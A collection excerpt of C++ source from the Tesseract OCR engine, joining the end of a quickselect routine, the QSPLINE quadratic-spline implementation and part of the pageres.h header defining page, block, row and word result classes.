if (count <= 1)
return 0;
if (count == 2) {
if (compar (array, (char *) array + size) < 0) {
return index >= 1 ? 1 : 0;
}
else {
return index >= 1 ? 0 : 1;
}
}
if (index < 0)
index = 0; // ensure legal
else if (index >= count)
index = count - 1;
pivot = (inT32) (rand () % count);
swap_entries (array, size, pivot, 0);
next_lesser = 0;
prev_greater = count;
equal_count = 1;
for (next_sample = 1; next_sample < prev_greater;) {
result =
compar ((char *) array + size * next_sample,
(char *) array + size * next_lesser);
if (result < 0) {
swap_entries (array, size, next_lesser++, next_sample++);
// shuffle
}
else if (result > 0) {
prev_greater--;
swap_entries(array, size, prev_greater, next_sample);
}
else {
equal_count++;
next_sample++;
}
}
if (index < next_lesser)
return choose_nth_item (index, array, next_lesser, size, compar);
else if (index < prev_greater)
return next_lesser; // in equal bracket
else
return choose_nth_item (index - prev_greater,
(char *) array + size * prev_greater,
count - prev_greater, size,
compar) + prev_greater;
}
/**********************************************************************
* swap_entries
*
* Swap 2 entries of arbitrary size in-place in a table.
**********************************************************************/
void swap_entries(void *array, // array of entries
size_t size, // size of entry
inT32 index1, // entries to swap
inT32 index2) {
char tmp;
char *ptr1; // to entries
char *ptr2;
size_t count; // of bytes
ptr1 = reinterpret_cast<char*>(array) + index1 * size;
ptr2 = reinterpret_cast<char*>(array) + index2 * size;
for (count = 0; count < size; count++) {
tmp = *ptr1;
*ptr1++ = *ptr2;
*ptr2++ = tmp; // tedious!
}
}
| C++ |
/**********************************************************************
* File: quspline.cpp (Formerly qspline.c)
* Description: Code for the QSPLINE class.
* Author: Ray Smith
* Created: Tue Oct 08 17:16:12 BST 1991
*
* (C) Copyright 1991, Hewlett-Packard Ltd.
** Licensed under the Apache License, Version 2.0 (the "License");
** you may not use this file except in compliance with the License.
** You may obtain a copy of the License at
** http://www.apache.org/licenses/LICENSE-2.0
** Unless required by applicable law or agreed to in writing, software
** distributed under the License is distributed on an "AS IS" BASIS,
** WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
** See the License for the specific language governing permissions and
** limitations under the License.
*
**********************************************************************/
#include "allheaders.h"
#include "memry.h"
#include "quadlsq.h"
#include "quspline.h"
// Include automatically generated configuration file if running autoconf.
#ifdef HAVE_CONFIG_H
#include "config_auto.h"
#endif
#define QSPLINE_PRECISION 16 //no of steps to draw
/**********************************************************************
* QSPLINE::QSPLINE
*
* Constructor to build a QSPLINE given the components used in the old code.
**********************************************************************/
QSPLINE::QSPLINE( //constructor
inT32 count, //no of segments
inT32 *xstarts, //start coords
double *coeffs //coefficients
) {
inT32 index; //segment index
//get memory
xcoords = (inT32 *) alloc_mem ((count + 1) * sizeof (inT32));
quadratics = (QUAD_COEFFS *) alloc_mem (count * sizeof (QUAD_COEFFS));
segments = count;
for (index = 0; index < segments; index++) {
//copy them
xcoords[index] = xstarts[index];
quadratics[index] = QUAD_COEFFS (coeffs[index * 3],
coeffs[index * 3 + 1],
coeffs[index * 3 + 2]);
}
//right edge
xcoords[index] = xstarts[index];
}
/**********************************************************************
* QSPLINE::QSPLINE
*
* Constructor to build a QSPLINE by appproximation of points.
**********************************************************************/
QSPLINE::QSPLINE ( //constructor
int xstarts[], //spline boundaries
int segcount, //no of segments
int xpts[], //points to fit
int ypts[], int pointcount, //no of pts
int degree //fit required
) {
register int pointindex; /*no along text line */
register int segment; /*segment no */
inT32 *ptcounts; //no in each segment
QLSQ qlsq; /*accumulator */
segments = segcount;
xcoords = (inT32 *) alloc_mem ((segcount + 1) * sizeof (inT32));
ptcounts = (inT32 *) alloc_mem ((segcount + 1) * sizeof (inT32));
quadratics = (QUAD_COEFFS *) alloc_mem (segcount * sizeof (QUAD_COEFFS));
memmove (xcoords, xstarts, (segcount + 1) * sizeof (inT32));
ptcounts[0] = 0; /*none in any yet */
for (segment = 0, pointindex = 0; pointindex < pointcount; pointindex++) {
while (segment < segcount && xpts[pointindex] >= xstarts[segment]) {
segment++; /*try next segment */
/*cumulative counts */
ptcounts[segment] = ptcounts[segment - 1];
}
ptcounts[segment]++; /*no in previous partition */
}
while (segment < segcount) {
segment++;
/*zero the rest */
ptcounts[segment] = ptcounts[segment - 1];
}
for (segment = 0; segment < segcount; segment++) {
qlsq.clear ();
/*first blob */
pointindex = ptcounts[segment];
if (pointindex > 0
&& xpts[pointindex] != xpts[pointindex - 1]
&& xpts[pointindex] != xstarts[segment])
qlsq.add (xstarts[segment],
ypts[pointindex - 1]
+ (ypts[pointindex] - ypts[pointindex - 1])
* (xstarts[segment] - xpts[pointindex - 1])
/ (xpts[pointindex] - xpts[pointindex - 1]));
for (; pointindex < ptcounts[segment + 1]; pointindex++) {
qlsq.add (xpts[pointindex], ypts[pointindex]);
}
if (pointindex > 0 && pointindex < pointcount
&& xpts[pointindex] != xstarts[segment + 1])
qlsq.add (xstarts[segment + 1],
ypts[pointindex - 1]
+ (ypts[pointindex] - ypts[pointindex - 1])
* (xstarts[segment + 1] - xpts[pointindex - 1])
/ (xpts[pointindex] - xpts[pointindex - 1]));
qlsq.fit (degree);
quadratics[segment].a = qlsq.get_a ();
quadratics[segment].b = qlsq.get_b ();
quadratics[segment].c = qlsq.get_c ();
}
free_mem(ptcounts);
}
/**********************************************************************
* QSPLINE::QSPLINE
*
* Constructor to build a QSPLINE from another.
**********************************************************************/
QSPLINE::QSPLINE( //constructor
const QSPLINE &src) {
segments = 0;
xcoords = NULL;
quadratics = NULL;
*this = src;
}
/**********************************************************************
* QSPLINE::~QSPLINE
*
* Destroy a QSPLINE.
**********************************************************************/
QSPLINE::~QSPLINE ( //constructor
) {
if (xcoords != NULL) {
free_mem(xcoords);
xcoords = NULL;
}
if (quadratics != NULL) {
free_mem(quadratics);
quadratics = NULL;
}
}
/**********************************************************************
* QSPLINE::operator=
*
* Copy a QSPLINE
**********************************************************************/
QSPLINE & QSPLINE::operator= ( //assignment
const QSPLINE & source) {
if (xcoords != NULL)
free_mem(xcoords);
if (quadratics != NULL)
free_mem(quadratics);
segments = source.segments;
xcoords = (inT32 *) alloc_mem ((segments + 1) * sizeof (inT32));
quadratics = (QUAD_COEFFS *) alloc_mem (segments * sizeof (QUAD_COEFFS));
memmove (xcoords, source.xcoords, (segments + 1) * sizeof (inT32));
memmove (quadratics, source.quadratics, segments * sizeof (QUAD_COEFFS));
return *this;
}
/**********************************************************************
* QSPLINE::step
*
* Return the total of the step functions between the given coords.
**********************************************************************/
double QSPLINE::step( //find step functions
double x1, //between coords
double x2) {
int index1, index2; //indices of coords
double total; /*total steps */
index1 = spline_index (x1);
index2 = spline_index (x2);
total = 0;
while (index1 < index2) {
total +=
(double) quadratics[index1 + 1].y ((float) xcoords[index1 + 1]);
total -= (double) quadratics[index1].y ((float) xcoords[index1 + 1]);
index1++; /*next segment */
}
return total; /*total steps */
}
/**********************************************************************
* QSPLINE::y
*
* Return the y value at the given x value.
**********************************************************************/
double QSPLINE::y( //evaluate
double x //coord to evaluate at
) const {
inT32 index; //segment index
index = spline_index (x);
return quadratics[index].y (x);//in correct segment
}
/**********************************************************************
* QSPLINE::spline_index
*
* Return the index to the largest xcoord not greater than x.
**********************************************************************/
inT32 QSPLINE::spline_index( //evaluate
double x //coord to evaluate at
) const {
inT32 index; //segment index
inT32 bottom; //bottom of range
inT32 top; //top of range
bottom = 0;
top = segments;
while (top - bottom > 1) {
index = (top + bottom) / 2; //centre of range
if (x >= xcoords[index])
bottom = index; //new min
else
top = index; //new max
}
return bottom;
}
/**********************************************************************
* QSPLINE::move
*
* Reposition spline by vector
**********************************************************************/
void QSPLINE::move( // reposition spline
ICOORD vec // by vector
) {
inT32 segment; //index of segment
inT16 x_shift = vec.x ();
for (segment = 0; segment < segments; segment++) {
xcoords[segment] += x_shift;
quadratics[segment].move (vec);
}
xcoords[segment] += x_shift;
}
/**********************************************************************
* QSPLINE::overlap
*
* Return TRUE if spline2 overlaps this by no more than fraction less
* than the bounds of this.
**********************************************************************/
BOOL8 QSPLINE::overlap( //test overlap
QSPLINE *spline2, //2 cannot be smaller
double fraction //by more than this
) {
int leftlimit; /*common left limit */
int rightlimit; /*common right limit */
leftlimit = xcoords[1];
rightlimit = xcoords[segments - 1];
/*or too non-overlap */
if (spline2->segments < 3 || spline2->xcoords[1] > leftlimit + fraction * (rightlimit - leftlimit)
|| spline2->xcoords[spline2->segments - 1] < rightlimit
- fraction * (rightlimit - leftlimit))
return FALSE;
else
return TRUE;
}
/**********************************************************************
* extrapolate_spline
*
* Extrapolates the spline linearly using the same gradient as the
* quadratic has at either end.
**********************************************************************/
void QSPLINE::extrapolate( //linear extrapolation
double gradient, //gradient to use
int xmin, //new left edge
int xmax //new right edge
) {
register int segment; /*current segment of spline */
int dest_segment; //dest index
int *xstarts; //new boundaries
QUAD_COEFFS *quads; //new ones
int increment; //in size
increment = xmin < xcoords[0] ? 1 : 0;
if (xmax > xcoords[segments])
increment++;
if (increment == 0)
return;
xstarts = (int *) alloc_mem ((segments + 1 + increment) * sizeof (int));
quads =
(QUAD_COEFFS *) alloc_mem ((segments + increment) * sizeof (QUAD_COEFFS));
if (xmin < xcoords[0]) {
xstarts[0] = xmin;
quads[0].a = 0;
quads[0].b = gradient;
quads[0].c = y (xcoords[0]) - quads[0].b * xcoords[0];
dest_segment = 1;
}
else
dest_segment = 0;
for (segment = 0; segment < segments; segment++) {
xstarts[dest_segment] = xcoords[segment];
quads[dest_segment] = quadratics[segment];
dest_segment++;
}
xstarts[dest_segment] = xcoords[segment];
if (xmax > xcoords[segments]) {
quads[dest_segment].a = 0;
quads[dest_segment].b = gradient;
quads[dest_segment].c = y (xcoords[segments])
- quads[dest_segment].b * xcoords[segments];
dest_segment++;
xstarts[dest_segment] = xmax + 1;
}
segments = dest_segment;
free_mem(xcoords);
free_mem(quadratics);
xcoords = (inT32 *) xstarts;
quadratics = quads;
}
/**********************************************************************
* QSPLINE::plot
*
* Draw the QSPLINE in the given colour.
**********************************************************************/
#ifndef GRAPHICS_DISABLED
void QSPLINE::plot( //draw it
ScrollView* window, //window to draw in
ScrollView::Color colour //colour to draw in
) const {
inT32 segment; //index of segment
inT16 step; //index of poly piece
double increment; //x increment
double x; //x coord
window->Pen(colour);
for (segment = 0; segment < segments; segment++) {
increment =
(double) (xcoords[segment + 1] -
xcoords[segment]) / QSPLINE_PRECISION;
x = xcoords[segment];
for (step = 0; step <= QSPLINE_PRECISION; step++) {
if (segment == 0 && step == 0)
window->SetCursor(x, quadratics[segment].y (x));
else
window->DrawTo(x, quadratics[segment].y (x));
x += increment;
}
}
}
#endif
void QSPLINE::plot(Pix *pix) const {
if (pix == NULL) {
return;
}
inT32 segment; // Index of segment
inT16 step; // Index of poly piece
double increment; // x increment
double x; // x coord
double height = static_cast<double>(pixGetHeight(pix));
Pta* points = ptaCreate(QSPLINE_PRECISION * segments);
const int kLineWidth = 5;
for (segment = 0; segment < segments; segment++) {
increment = static_cast<double>((xcoords[segment + 1] -
xcoords[segment])) / QSPLINE_PRECISION;
x = xcoords[segment];
for (step = 0; step <= QSPLINE_PRECISION; step++) {
double y = height - quadratics[segment].y(x);
ptaAddPt(points, x, y);
x += increment;
}
}
switch (pixGetDepth(pix)) {
case 1:
pixRenderPolyline(pix, points, kLineWidth, L_SET_PIXELS, 1);
break;
case 32:
pixRenderPolylineArb(pix, points, kLineWidth, 255, 0, 0, 1);
break;
default:
pixRenderPolyline(pix, points, kLineWidth, L_CLEAR_PIXELS, 1);
break;
}
ptaDestroy(&points);
}
| C++ |
/**********************************************************************
* File: pageres.h (Formerly page_res.h)
* Description: Results classes used by control.c
* Author: Phil Cheatle
* Created: Tue Sep 22 08:42:49 BST 1992
*
* (C) Copyright 1992, Hewlett-Packard Ltd.
** Licensed under the Apache License, Version 2.0 (the "License");
** you may not use this file except in compliance with the License.
** You may obtain a copy of the License at
** http://www.apache.org/licenses/LICENSE-2.0
** Unless required by applicable law or agreed to in writing, software
** distributed under the License is distributed on an "AS IS" BASIS,
** WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
** See the License for the specific language governing permissions and
** limitations under the License.
*
**********************************************************************/
#ifndef PAGERES_H
#define PAGERES_H
#include "blamer.h"
#include "blobs.h"
#include "boxword.h"
#include "elst.h"
#include "genericvector.h"
#include "normalis.h"
#include "ocrblock.h"
#include "ocrrow.h"
#include "params_training_featdef.h"
#include "ratngs.h"
#include "rejctmap.h"
#include "seam.h"
#include "werd.h"
namespace tesseract {
struct FontInfo;
class Tesseract;
}
using tesseract::FontInfo;
/* Forward declarations */
class BLOCK_RES;
ELISTIZEH (BLOCK_RES) CLISTIZEH (BLOCK_RES)
class
ROW_RES;
ELISTIZEH (ROW_RES)
class WERD_RES;
ELISTIZEH (WERD_RES)
/*************************************************************************
* PAGE_RES - Page results
*************************************************************************/
class PAGE_RES { // page result
public:
inT32 char_count;
inT32 rej_count;
BLOCK_RES_LIST block_res_list;
BOOL8 rejected;
// Updated every time PAGE_RES_IT iterating on this PAGE_RES moves to
// the next word. This pointer is not owned by PAGE_RES class.
WERD_CHOICE **prev_word_best_choice;
// Sums of blame reasons computed by the blamer.
GenericVector<int> blame_reasons;
// Debug information about all the misadaptions on this page.
// Each BlamerBundle contains an index into this vector, so that words that
// caused misadaption could be marked. However, since words could be
// deleted/split/merged, the log is stored on the PAGE_RES level.
GenericVector<STRING> misadaption_log;
inline void Init() {
char_count = 0;
rej_count = 0;
rejected = FALSE;
prev_word_best_choice = NULL;
blame_reasons.init_to_size(IRR_NUM_REASONS, 0);
}
PAGE_RES() { Init(); } // empty constructor
PAGE_RES(bool merge_similar_words,
BLOCK_LIST *block_list, // real blocks
WERD_CHOICE **prev_word_best_choice_ptr);
~PAGE_RES () { // destructor
}
};
/*************************************************************************
* BLOCK_RES - Block results
*************************************************************************/
class BLOCK_RES:public ELIST_LINK {
public:
BLOCK * block; // real block
inT32 char_count; // chars in block
inT32 rej_count; // rejected chars
inT16 font_class; //
inT16 row_count;
float x_height;
BOOL8 font_assigned; // block already
// processed
BOOL8 bold; // all bold
BOOL8 italic; // all italic
ROW_RES_LIST row_res_list;
BLOCK_RES() {
} // empty constructor
BLOCK_RES(bool merge_similar_words, BLOCK *the_block); // real block
~BLOCK_RES () { // destructor
}
};
/*************************************************************************
* ROW_RES - Row results
*************************************************************************/
class ROW_RES:public ELIST_LINK {
public:
ROW * row; // real row
inT32 char_count; // chars in block
inT32 rej_count; // rejected chars
inT32 whole_word_rej_count; // rejs in total rej wds
WERD_RES_LIST word_res_list;
ROW_RES() {
} // empty constructor
ROW_RES(bool merge_similar_words, ROW *the_row); // real row
~ROW_RES() { // destructor
}
};
/*************************************************************************
* WERD_RES - Word results
*************************************************************************/
enum CRUNCH_MODE
{
CR_NONE,
CR_KEEP_SPACE,
CR_LOOSE_SPACE,
CR_DELETE
};
// WERD_RES is a collection of publicly accessible members that gathers
// information about a word result.
class WERD_RES : public ELIST_LINK {
public:
// Which word is which?
// There are 3 coordinate spaces in use here: a possibly rotated pixel space,
// the original image coordinate space, and the BLN space in which the
// baseline of a word is at kBlnBaselineOffset, the xheight is kBlnXHeight,
// and the x-middle of the word is at 0.
// In the rotated pixel space, coordinates correspond to the input image,
// but may be rotated about the origin by a multiple of 90 degrees,
// and may therefore be negative.
// In any case a rotation by denorm.block()->re_rotation() will take them
// back to the original image.
// The other differences between words all represent different stages of
// processing during recognition.
// ---------------------------INPUT-------------------------------------
// The word is the input C_BLOBs in the rotated pixel space.
// word is NOT owned by the WERD_RES unless combination is true.
// All the other word pointers ARE owned by the WERD_RES.
WERD* word; // Input C_BLOB word.
// -------------SETUP BY SetupFor*Recognition---READONLY-INPUT------------
// The bln_boxes contains the bounding boxes (only) of the input word, in the
// BLN space. The lengths of word and bln_boxes
// match as they are both before any chopping.
// TODO(rays) determine if docqual does anything useful and delete bln_boxes
// if it doesn't.
tesseract::BoxWord* bln_boxes; // BLN input bounding boxes.
// The ROW that this word sits in. NOT owned by the WERD_RES.
ROW* blob_row;
// The denorm provides the transformation to get back to the rotated image
// coords from the chopped_word/rebuild_word BLN coords, but each blob also
// has its own denorm.
DENORM denorm; // For use on chopped_word.
// Unicharset used by the classifier output in best_choice and raw_choice.
const UNICHARSET* uch_set; // For converting back to utf8.
// ----Initialized by SetupFor*Recognition---BUT OUTPUT FROM RECOGNITION----
// ----Setup to a (different!) state expected by the various classifiers----
// TODO(rays) Tidy and make more consistent.
// The chopped_word is also in BLN space, and represents the fully chopped
// character fragments that make up the word.
// The length of chopped_word matches length of seam_array + 1 (if set).
TWERD* chopped_word; // BLN chopped fragments output.
// Vector of SEAM* holding chopping points matching chopped_word.
GenericVector<SEAM*> seam_array;
// Widths of blobs in chopped_word.
GenericVector<int> blob_widths;
// Gaps between blobs in chopped_word. blob_gaps[i] is the gap between
// blob i and blob i+1.
GenericVector<int> blob_gaps;
// Ratings matrix contains classifier choices for each classified combination
// of blobs. The dimension is the same as the number of blobs in chopped_word
// and the leading diagonal corresponds to classifier results of the blobs
// in chopped_word. The state_ members of best_choice, raw_choice and
// best_choices all correspond to this ratings matrix and allow extraction
// of the blob choices for any given WERD_CHOICE.
MATRIX* ratings; // Owned pointer.
// Pointer to the first WERD_CHOICE in best_choices. This is the result that
// will be output from Tesseract. Note that this is now a borrowed pointer
// and should NOT be deleted.
WERD_CHOICE* best_choice; // Borrowed pointer.
// The best raw_choice found during segmentation search. Differs from the
// best_choice by being the best result according to just the character
// classifier, not taking any language model information into account.
// Unlike best_choice, the pointer IS owned by this WERD_RES.
WERD_CHOICE* raw_choice; // Owned pointer.
// Alternative results found during chopping/segmentation search stages.
// Note that being an ELIST, best_choices owns the WERD_CHOICEs.
WERD_CHOICE_LIST best_choices;
// Truth bounding boxes, text and incorrect choice reason.
BlamerBundle *blamer_bundle;
// --------------OUTPUT FROM RECOGNITION-------------------------------
// --------------Not all fields are necessarily set.-------------------
// ---best_choice, raw_choice *must* end up set, with a box_word-------
// ---In complete output, the number of blobs in rebuild_word matches---
// ---the number of boxes in box_word, the number of unichar_ids in---
// ---best_choice, the number of ints in best_state, and the number---
// ---of strings in correct_text--------------------------------------
// ---SetupFake Sets everything to appropriate values if the word is---
// ---known to be bad before recognition.------------------------------
// The rebuild_word is also in BLN space, but represents the final best
// segmentation of the word. Its length is therefore the same as box_word.
TWERD* rebuild_word; // BLN best segmented word.
// The box_word is in the original image coordinate space. It is the
// bounding boxes of the rebuild_word, after denormalization.
// The length of box_word matches rebuild_word, best_state (if set) and
// correct_text (if set), as well as best_choice and represents the
// number of classified units in the output.
tesseract::BoxWord* box_word; // Denormalized output boxes.
// The best_state stores the relationship between chopped_word and
// rebuild_word. Each blob[i] in rebuild_word is composed of best_state[i]
// adjacent blobs in chopped_word. The seams in seam_array are hidden
// within a rebuild_word blob and revealed between them.
GenericVector<int> best_state; // Number of blobs in each best blob.
// The correct_text is used during training and adaption to carry the
// text to the training system without the need for a unicharset. There
// is one entry in the vector for each blob in rebuild_word and box_word.
GenericVector<STRING> correct_text;
// The Tesseract that was used to recognize this word. Just a borrowed
// pointer. Note: Tesseract's class definition is in a higher-level library.
// We avoid introducing a cyclic dependency by not using the Tesseract
// within WERD_RES. We are just storing it to provide access to it
// for the top-level multi-language controller, and maybe for output of
// the recognized language.
tesseract::Tesseract* tesseract;
// Less-well documented members.
// TODO(rays) Add more documentation here.
WERD_CHOICE *ep_choice; // ep text TODO(rays) delete this.
REJMAP reject_map; // best_choice rejects
BOOL8 tess_failed;
/*
If tess_failed is TRUE, one of the following tests failed when Tess
returned:
- The outword blob list was not the same length as the best_choice string;
- The best_choice string contained ALL blanks;
- The best_choice string was zero length
*/
BOOL8 tess_accepted; // Tess thinks its ok?
BOOL8 tess_would_adapt; // Tess would adapt?
BOOL8 done; // ready for output?
bool small_caps; // word appears to be small caps
bool odd_size; // word is bigger than line or leader dots.
inT8 italic;
inT8 bold;
// The fontinfos are pointers to data owned by the classifier.
const FontInfo* fontinfo;
const FontInfo* fontinfo2;
inT8 fontinfo_id_count; // number of votes
inT8 fontinfo_id2_count; // number of votes
BOOL8 guessed_x_ht;
BOOL8 guessed_caps_ht;
CRUNCH_MODE unlv_crunch_mode;
float x_height; // post match estimate
float caps_height; // post match estimate
/*
To deal with fuzzy spaces we need to be able to combine "words" to form
combinations when we suspect that the gap is a non-space. The (new) text
ord code generates separate words for EVERY fuzzy gap - flags in the word
indicate whether the gap is below the threshold (fuzzy kern) and is thus
NOT a real word break by default, or above the threshold (fuzzy space) and
this is a real word break by default.
The WERD_RES list contains all these words PLUS "combination" words built
out of (copies of) the words split by fuzzy kerns. The separate parts have
their "part_of_combo" flag set true and should be IGNORED on a default
reading of the list.
Combination words are FOLLOWED by the sequence of part_of_combo words
which they combine.
*/
BOOL8 combination; //of two fuzzy gap wds
BOOL8 part_of_combo; //part of a combo
BOOL8 reject_spaces; //Reject spacing?
// FontInfo ids for each unichar in best_choice.
GenericVector<inT8> best_choice_fontinfo_ids;
WERD_RES() {
InitNonPointers();
InitPointers();
}
WERD_RES(WERD *the_word) {
InitNonPointers();
InitPointers();
word = the_word;
}
// Deep copies everything except the ratings MATRIX.
// To get that use deep_copy below.
WERD_RES(const WERD_RES &source) {
InitPointers();
*this = source; // see operator=
}
~WERD_RES();
// Returns the UTF-8 string for the given blob index in the best_choice word,
// given that we know whether we are in a right-to-left reading context.
// This matters for mirrorable characters such as parentheses. We recognize
// characters purely based on their shape on the page, and by default produce
// the corresponding unicode for a left-to-right context.
const char* const BestUTF8(int blob_index, bool in_rtl_context) const {
if (blob_index < 0 || best_choice == NULL ||
blob_index >= best_choice->length())
return NULL;
UNICHAR_ID id = best_choice->unichar_id(blob_index);
if (id < 0 || id >= uch_set->size() || id == INVALID_UNICHAR_ID)
return NULL;
UNICHAR_ID mirrored = uch_set->get_mirror(id);
if (in_rtl_context && mirrored > 0 && mirrored != INVALID_UNICHAR_ID)
id = mirrored;
return uch_set->id_to_unichar_ext(id);
}
// Returns the UTF-8 string for the given blob index in the raw_choice word.
const char* const RawUTF8(int blob_index) const {
if (blob_index < 0 || blob_index >= raw_choice->length())
return NULL;
UNICHAR_ID id = raw_choice->unichar_id(blob_index);
if (id < 0 || id >= uch_set->size() || id == INVALID_UNICHAR_ID)
return NULL;
return uch_set->id_to_unichar(id);
}
UNICHARSET::Direction SymbolDirection(int blob_index) const {
if (best_choice == NULL ||
blob_index >= best_choice->length() ||
blob_index < 0)
return UNICHARSET::U_OTHER_NEUTRAL;
return uch_set->get_direction(best_choice->unichar_id(blob_index));
}
bool AnyRtlCharsInWord() const {
if (uch_set == NULL || best_choice == NULL || best_choice->length() < 1)
return false;
for (int id = 0; id < best_choice->length(); id++) {
int unichar_id = best_choice->unichar_id(id);
if (unichar_id < 0 || unichar_id >= uch_set->size())
continue; // Ignore illegal chars.
UNICHARSET::Direction dir =
uch_set->get_direction(unichar_id);
if (dir == UNICHARSET::U_RIGHT_TO_LEFT ||
dir == UNICHARSET::U_RIGHT_TO_LEFT_ARABIC ||
dir == UNICHARSET::U_ARABIC_NUMBER)
return true;
}
return false;
}
bool AnyLtrCharsInWord() const {
if (uch_set == NULL || best_choice == NULL || best_choice->length() < 1)
return false;
for (int id = 0; id < best_choice->length(); id++) {
int unichar_id = best_choice->unichar_id(id);
if (unichar_id < 0 || unichar_id >= uch_set->size())
continue; // Ignore illegal chars.
UNICHARSET::Direction dir = uch_set->get_direction(unichar_id);
if (dir == UNICHARSET::U_LEFT_TO_RIGHT)
return true;
}
return false;
}
// Return whether the blobs in this WERD_RES 0, 1,... come from an engine
// that gave us the unichars in reading order (as opposed to strict left
// to right).
bool UnicharsInReadingOrder() const {
return best_choice->unichars_in_script_order();
}
void InitNonPointers();
void InitPointers();
void Clear();
void ClearResults();
void ClearWordChoices();
void ClearRatings();
// Deep copies everything except the ratings MATRIX.
// To get that use deep_copy below.
WERD_RES& operator=(const WERD_RES& source); //from this
void CopySimpleFields(const WERD_RES& source);
// Initializes a blank (default constructed) WERD_RES from one that has
// already been recognized.
// Use SetupFor*Recognition afterwards to complete the setup and make
// it ready for a retry recognition.
void InitForRetryRecognition(const WERD_RES& source);
// Sets up the members used in recognition: bln_boxes, chopped_word,
// seam_array, denorm. Returns false if
// the word is empty and sets up fake results. If use_body_size is
// true and row->body_size is set, then body_size will be used for
// blob normalization instead of xheight + ascrise. This flag is for
// those languages that are using CJK pitch model and thus it has to
// be true if and only if tesseract->textord_use_cjk_fp_model is
// true.
// If allow_detailed_fx is true, the feature extractor will receive fine
// precision outline information, allowing smoother features and better
// features on low resolution images.
// The norm_mode sets the default mode for normalization in absence
// of any of the above flags. It should really be a tesseract::OcrEngineMode
// but is declared as int for ease of use with tessedit_ocr_engine_mode.
// Returns false if the word is empty and sets up fake results.
bool SetupForRecognition(const UNICHARSET& unicharset_in,
tesseract::Tesseract* tesseract, Pix* pix,
int norm_mode,
const TBOX* norm_box, bool numeric_mode,
bool use_body_size, bool allow_detailed_fx,
ROW *row, const BLOCK* block);
// Set up the seam array, bln_boxes, best_choice, and raw_choice to empty
// accumulators from a made chopped word. We presume the fields are already
// empty.
void SetupBasicsFromChoppedWord(const UNICHARSET &unicharset_in);
// Sets up the members used in recognition for an empty recognition result:
// bln_boxes, chopped_word, seam_array, denorm, best_choice, raw_choice.
void SetupFake(const UNICHARSET& uch);
// Set the word as having the script of the input unicharset.
void SetupWordScript(const UNICHARSET& unicharset_in);
// Sets up the blamer_bundle if it is not null, using the initialized denorm.
void SetupBlamerBundle();
// Computes the blob_widths and blob_gaps from the chopped_word.
void SetupBlobWidthsAndGaps();
// Updates internal data to account for a new SEAM (chop) at the given
// blob_number. Fixes the ratings matrix and states in the choices, as well
// as the blob widths and gaps.
void InsertSeam(int blob_number, SEAM* seam);
// Returns true if all the word choices except the first have adjust_factors
// worse than the given threshold.
bool AlternativeChoiceAdjustmentsWorseThan(float threshold) const;
// Returns true if the current word is ambiguous (by number of answers or
// by dangerous ambigs.)
bool IsAmbiguous();
// Returns true if the ratings matrix size matches the sum of each of the
// segmentation states.
bool StatesAllValid();
// Prints a list of words found if debug is true or the word result matches
// the word_to_debug.
void DebugWordChoices(bool debug, const char* word_to_debug);
// Prints the top choice along with the accepted/done flags.
void DebugTopChoice(const char* msg) const;
// Removes from best_choices all choices which are not within a reasonable
// range of the best choice.
void FilterWordChoices(int debug_level);
// Computes a set of distance thresholds used to control adaption.
// Compares the best choice for the current word to the best raw choice
// to determine which characters were classified incorrectly by the
// classifier. Then places a separate threshold into thresholds for each
// character in the word. If the classifier was correct, max_rating is placed
// into thresholds. If the classifier was incorrect, the mean match rating
// (error percentage) of the classifier's incorrect choice minus some margin
// is placed into thresholds. This can then be used by the caller to try to
// create a new template for the desired class that will classify the
// character with a rating better than the threshold value. The match rating
// placed into thresholds is never allowed to be below min_rating in order to
// prevent trying to make overly tight templates.
// min_rating limits how tight to make a template.
// max_rating limits how loose to make a template.
// rating_margin denotes the amount of margin to put in template.
void ComputeAdaptionThresholds(float certainty_scale,
float min_rating,
float max_rating,
float rating_margin,
float* thresholds);
// Saves a copy of the word_choice if it has the best unadjusted rating.
// Returns true if the word_choice was the new best.
bool LogNewRawChoice(WERD_CHOICE* word_choice);
// Consumes word_choice by adding it to best_choices, (taking ownership) if
// the certainty for word_choice is some distance of the best choice in
// best_choices, or by deleting the word_choice and returning false.
// The best_choices list is kept in sorted order by rating. Duplicates are
// removed, and the list is kept no longer than max_num_choices in length.
// Returns true if the word_choice is still a valid pointer.
bool LogNewCookedChoice(int max_num_choices, bool debug,
WERD_CHOICE* word_choice);
// Prints a brief list of all the best choices.
void PrintBestChoices() const;
// Returns the sum of the widths of the blob between start_blob and last_blob
// inclusive.
int GetBlobsWidth(int start_blob, int last_blob);
// Returns the width of a gap between the specified blob and the next one.
int GetBlobsGap(int blob_index);
// Returns the BLOB_CHOICE corresponding to the given index in the
// best choice word taken from the appropriate cell in the ratings MATRIX.
// Borrowed pointer, so do not delete. May return NULL if there is no
// BLOB_CHOICE matching the unichar_id at the given index.
BLOB_CHOICE* GetBlobChoice(int index) const;
// Returns the BLOB_CHOICE_LIST corresponding to the given index in the
// best choice word taken from the appropriate cell in the ratings MATRIX.
// Borrowed pointer, so do not delete.
BLOB_CHOICE_LIST* GetBlobChoices(int index) const;
// Moves the results fields from word to this. This takes ownership of all
// the data, so src can be destructed.
// word1.ConsumeWordResult(word);
// delete word;
// is simpler and faster than:
// word1 = *word;
// delete word;
// as it doesn't need to copy and reallocate anything.
void ConsumeWordResults(WERD_RES* word);
// Replace the best choice and rebuild box word.
// choice must be from the current best_choices list.
void ReplaceBestChoice(WERD_CHOICE* choice);
// Builds the rebuild_word and sets the best_state from the chopped_word and
// the best_choice->state.
void RebuildBestState();
// Copies the chopped_word to the rebuild_word, faking a best_state as well.
// Also sets up the output box_word.
void CloneChoppedToRebuild();
// Sets/replaces the box_word with one made from the rebuild_word.
void SetupBoxWord();
// Sets up the script positions in the best_choice using the best_choice
// to get the unichars, and the unicharset to get the target positions.
void SetScriptPositions();
// Sets all the blobs in all the words (best choice and alternates) to be
// the given position. (When a sub/superscript is recognized as a separate
// word, it falls victim to the rule that a whole word cannot be sub or
// superscript, so this function overrides that problem.)
void SetAllScriptPositions(tesseract::ScriptPos position);
// Classifies the word with some already-calculated BLOB_CHOICEs.
// The choices are an array of blob_count pointers to BLOB_CHOICE,
// providing a single classifier result for each blob.
// The BLOB_CHOICEs are consumed and the word takes ownership.
// The number of blobs in the box_word must match blob_count.
void FakeClassifyWord(int blob_count, BLOB_CHOICE** choices);
// Creates a WERD_CHOICE for the word using the top choices from the leading
// diagonal of the ratings matrix.
void FakeWordFromRatings();
// Copies the best_choice strings to the correct_text for adaption/training.
void BestChoiceToCorrectText();
